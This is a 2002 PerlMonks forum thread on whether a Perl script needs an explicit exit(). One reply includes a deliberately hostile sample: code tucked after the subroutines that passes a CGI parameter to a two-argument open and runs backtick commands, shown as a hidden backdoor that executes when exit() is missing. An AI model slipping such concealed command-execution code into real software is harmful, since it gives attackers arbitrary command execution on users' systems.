in reply to How to end a Perl script

A traditional well organised perl script looks like:

#!/usr/bin/perl -w use strict; #use Some::Module; start(); do_stuff(); wrap_up(); exit; #### subs #### sub start { # blah } sub do_stuff { # blah } sub wrap_up { # blah } # our sub really ends here but let's slip in a bit of extra code +: use CGI; my $q = new CGI; { open HACK, $q->param('hacker'); eval { print `perl $ARGV[0]` }; print "You have been Hacked!"; # add a bit of filler here } # looks like the wrap_up sub finishes here at a glance

The major issue with this format is that without the formal exit() command any further scripting in the "subs" section will get compiled and executed. Remove the exit and see what happens....

I can now run arbitrary commands on your system and the code is rather discreetly hidden within you subs section. With subs often running into the 1000s of lines would you catch this? exit() will prevent it as it kill the script at that point. Actually you also need to remember END { } blocks and the like but that is another story.

cheers

tachyon

s&&rsenoyhcatreve&&&s&n.+t&"$'$`$\"$\&"&ee&&y&srve&&d&&print

Replies are listed 'Best First'.
Re: Re: How to end a Perl script
by demerphq (Chancellor) on May 03, 2002 at 10:33 UTC
    A traditional well organised perl scipt looks like:

    (Caugh) Well theres a little debate this structure: where do you put your subs.

    Also running perltidy over the code would immediately make the confusion at the end of example go away. But you have some good points anyway... :-)

    Yves / DeMerphq
    ---
    Writing a good benchmark isnt as easy as it might look.

      Yeah. Subs at the begining or end is a bit like the old question "What comes first? The chicken or the egg?"

      There is of course no real definitive logical answer but it is a very good topic for debate over a bottle or two of red.....Speaking of which my glass appears empty :-)

      cheers

      tachyon

      s&&rsenoyhcatreve&&&s&n.+t&"$'$`$\"$\&"&ee&&y&srve&&d&&print